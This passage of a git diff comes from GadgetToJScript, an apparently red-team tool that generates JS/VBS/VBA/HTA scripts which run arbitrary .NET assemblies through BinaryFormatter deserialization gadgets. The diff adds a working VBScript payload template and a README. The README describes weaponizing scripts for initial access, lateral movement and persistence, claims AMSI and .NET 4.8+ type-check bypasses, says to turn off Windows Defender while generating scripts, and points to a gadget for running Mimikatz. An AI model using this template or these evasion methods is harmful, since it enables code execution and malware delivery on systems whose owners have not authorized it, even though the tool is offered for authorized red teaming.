Resume Next + + stm_1.Position = 0 + Dim o1 As Object + Set o1 = fmt_1.Deserialize_2(stm_1) + +End Function \ No newline at end of file diff --git a/GadgetToJScript/templates/LT4_8/vbscript.template b/GadgetToJScript/templates/LT4_8/vbscript.template new file mode 100755 index 0000000..7df6b9d --- /dev/null +++ b/GadgetToJScript/templates/LT4_8/vbscript.template @@ -0,0 +1,32 @@ +Function Base64ToStream(b,l) + Dim enc, length, transform, ms + Set enc = CreateObject("System.Text.ASCIIEncoding") + length = enc.GetByteCount_2(b) + Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") + Set ms = CreateObject("System.IO.MemoryStream") + ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l + ms.Position = 0 + Set Base64ToStream = ms +End Function + +Dim shell +Set shell = CreateObject("WScript.Shell") +Dim ver +ver = "v4.0.30319" +On Error Resume Next +shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\" +If Err.Number <> 0 Then + ver = "v2.0.50727" + Err.Clear +End If +shell.Environment("Process").Item("COMPLUS_Version") = ver + +On Error Resume Next + +Dim stage_2 +stage_2 = "%_STAGE2_%" + +Dim fmt_1 +Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") +fmt_1.Deserialize_2(Base64ToStream(stage_2, %_STAGE2Len_%)) + diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 index a94590c..cc2d030 --- a/README.md +++ b/README.md @@ -1,43 +1,54 @@ + ## Description -A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS based scripts. -
The gadget being used triggers a call to Assembly.Load when deserialized via jscript/vbscript, this means it can be used in the same way to trigger in-memory load of your own shellcode loader at runtime. -

Lastly, the tool was created mainly for automating WSH scripts weaponization for RT engagements (LT, Persistence, Initial Compromise), the shellcode loader which was used for PoC is removed and replaced by an example assembly implemented in the "TestAssemblyLoader.cs" class for PoC purpose. +A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA scripts. +
The current gadget triggers a call to Activator.CreateInstance() when deserialized using BinaryFormatter from jscript/vbscript/vba, this means it can be used to trigger execution of your .NET assembly of choice via the default/public constructor. +

The tool was created mainly for automating WSH scripts weaponization for RT engagements (Initial Access, Lateral Movement, Persistence), the shellcode loader which was used for PoC is removed and replaced by an example assembly implemented in the TestAssembly project. -## TLDR -- Generates js, vbs, hta, vba. -- Bypasses AMSI without having to update AmsiEnable registry key or Hijack loadlibrary (AMSI.dll), basically it is more of a signature based bypass at the moment. -- Bypasses .NET 4.8+ newly introduced controls for blocking "Assembly.Load" and ActivitySurrogateSelector Type checks. -## Details -- Leverages ActivitySurrogateSelector to create a Surrogate class which act as a wrapper to deserialize a gadget built in a way to trigger a call to "Activator.CreateInstance(Assembly.Load(your_assembly_bytes).GetType())". -- Bypasses AMSI (to be specific, bypasses AMSI signature based detection) => Does not require "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)" +## Detail +- Bypasses AMSI without having to update AmsiEnable registry key or Hijack loadlibrary (AMSI.dll). +- Bypasses .NET 4.8+ newly introduced controls for blocking "Assembly.Load" and ActivitySurrogateSelector Type checks. +- Gadget supports proper deserialzation of payloads targetting .NET Framework 3.5 up to 4.8+ environments. +- Depends on ActivitySurrogateSelector to create a Surrogate class which act as a wrapper to deserialize a gadget built in a way to trigger a call to "Activator.CreateInstance(Assembly.Load(your_assembly_bytes).GetType())". - Leveraging TextFormattingRunProperties based gadget as a first deserialization stage to disable ActivitySurrogateSelector Type check therefore bypassing fixes introduced recently in (.NET Framework 4.8+) - Doesn't rely mainly on exposing a .NET based COM object hence no need to call d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) -- Delegates are being used only to trigger payload execution during deserialization (Func>),a requirement for proper chaining of the gadget elements. +- Delegates are used only to trigger payload execution during deserialization (Func>),a requirement for proper chaining of the gadget elements. - Serialized gadgets or Streams length is calculated at runtime and automatically populated in the generated WSH scripts (Not required for VBA). -- Generates JS/HTA scripts relying on registration-free activation of .NET based COM components, may help in case of generating VBA or registering unregistered COM objects. (In the future may be, not a requirement for JS unless you wanna avoid "New ActiveXObject" for AV evasion or want to use another alternative of BinaryFormatter which requires registration ) - -## Usage: - ``-w, --scriptType=VALUE js, vbs, vba or hta``
- ``-e, --encodeType=VALUE VBA gadgets encoding: b64 or hex (default set to - b64)``
- ``-o, --output=VALUE Generated payload output file, example: - C:\Users\userX\Desktop\output (Without extension)``
- ``-r, --regfree registration-free activation of .NET based COM - components``
- ``-h, --help=VALUE Show Help`` - -## Testing Notes -- Tested with visual studio 2017 - x86 build option. -- Tested with multiple shellcode loaders, try using either C:\windows\syswow64\cscript.exe or C:\windows\system32\cscript.exe to run generated js/vbs scripts, it all depends on which Arch (x86/x64) used for build and shellcode generation. -- Make sure Windows Defender is turned off when using GadgetToJScript.exe to generate WSH scripts, can -be turned on once scripts are generated. +- Generates VBS/VBA and JS/HTA scripts relying on registration-free activation of .NET based COM components + +## Usage & Notes: +You can either use the binaries located in the Release folder or use VS2017 and retarget your project to .NET version 3.5 or 4.x in order to build G2JS from source. +* Use the .NET 3.5 version of G2JS to: + * Generate WSH scripts targeted to run in environments where .NET Framework 4.x is not available or less than 4.8. (3.5 is the minimal required .NET Framework version), This requires to build your C# payload or .NET Assembly with .NET framework <= 3.5. +* Use the .NET 4.x version of G2JS to: + * Generate WSH scripts meant to run in environments where .NET Framework 4.x is available. (Includes 4.8+) + * Generate WSH scripts for environments with .NET 4.8+ using “-b” option to bypass type checking. + +* C# source code payload should be placed within the default public constructor of your class. (Example of running Mimikatz from jscript; https://gist.github.com/med0x2e/cc10d42b1f581507013e801da2651c74) +* Tests were conducted on the latest windows 10 Enterprise 1909 release and Windows 7 with different .NET framework versions installed. +* Make sure Windows Defender is turned off when using GadgetToJScript.exe to generate WSH scripts, can +be turned back on once scripts are generated. + +||| +|----|----| +| ``-w, --scriptType=js`` | ``Set to js, vbs, vba or hta`` | +|``-a, --assembly=TestAssembly.dll`` | ``.NET Assembly, example: -a C:\Users\userX\Desktop\shellcode_loader.dll/exe, alternatively you can specify a c# source file instead using -c cmdline switch.`` | +|``-c, --csfile=TestAssembly.cs`` | ``C# source code file, example: -c C:\Users\userX\Desktop\shellcode_loader.cs, make sure to place your code within the default constructor of your class and specify any required dependencies using -d cmdline switch.`` | +|``-d, --references=Example.dll`` | ``Reference Assemblies, example: -d System.Window- s.Forms.dll, System.dll`` | +|``-b, --bypass`` | ``Bypass type check controls introduced in .NET version 4.8+, by default set to false, set to true (--bypass/-b) in case WSH scripts are being generated to run on .NET version > 4.8+ environments. this option should be used only with .NET 4.x G2JS executable`` | +|``-e, --encodeType=b64`` | ``VBA gadgets encoding: b64 or hex (default set to b64)`` | +|``-o, --output=output`` | ``Generated payload output file, example: -o C:\Users\userX\Desktop\output (Without extension)`` | +|``-r, --regfree`` | ``registration-free activation of .NET based COM components, applicable to JS/HTA scripts only.`` | +|``-h, --help`` | ``Show Help`` | + + ## Credits & References The tool is based on the awesome research/work done by: - @tyranid https://googleprojectzero.blogspot.com/2017/04/ => made serializing/deserializing unserializable classes possible) - @pwntester yoserial.net project https://github.com/pwntester/ysoserial.net - @olekmirosh https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282 - @monoxgas https://silentbreaksecurity.com/re-animating-activitysurrogateselector/ +- @zcgonvh http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html ## Disclaimer GadgetToJScript should be used for authorized red teaming and/or nonprofit educational purposes only. diff --git a/TestAssembly/App.config b/TestAssembly/App.config new file mode 100755 index 0000000..00bfd11 --- /dev/null +++ b/TestAssembly/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/TestAssembly/Program.cs b/TestAssembly/Program.cs new file mode 100755 index 0000000..ff801a1 --- /dev/null +++ b/TestAssembly/Program.cs @@ -0,0 +1,9 @@ +using System.Windows.Forms; + +namespace TestAssembly{ + public class Program{ + public static void Main(string[] args){ + MessageBox.Show("Test Assembly !!"); + } + } +} diff --git a/TestAssembly/Properties/AssemblyInfo.cs b/TestAssembly/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..387f503 --- /dev/null +++ b/TestAssembly/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("TestAssembly")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("TestAssembly")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("b2b3adb0-1669-4b94-86cb-6dd682ddbea3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TestAssembly/TestAssembly.csproj b/TestAssembly/TestAssembly.csproj new file mode 100755 index 0000000..73d1e87 --- /dev/null +++ b/TestAssembly/TestAssembly.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3} + Exe + TestAssembly + TestAssembly + v4.6.1 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file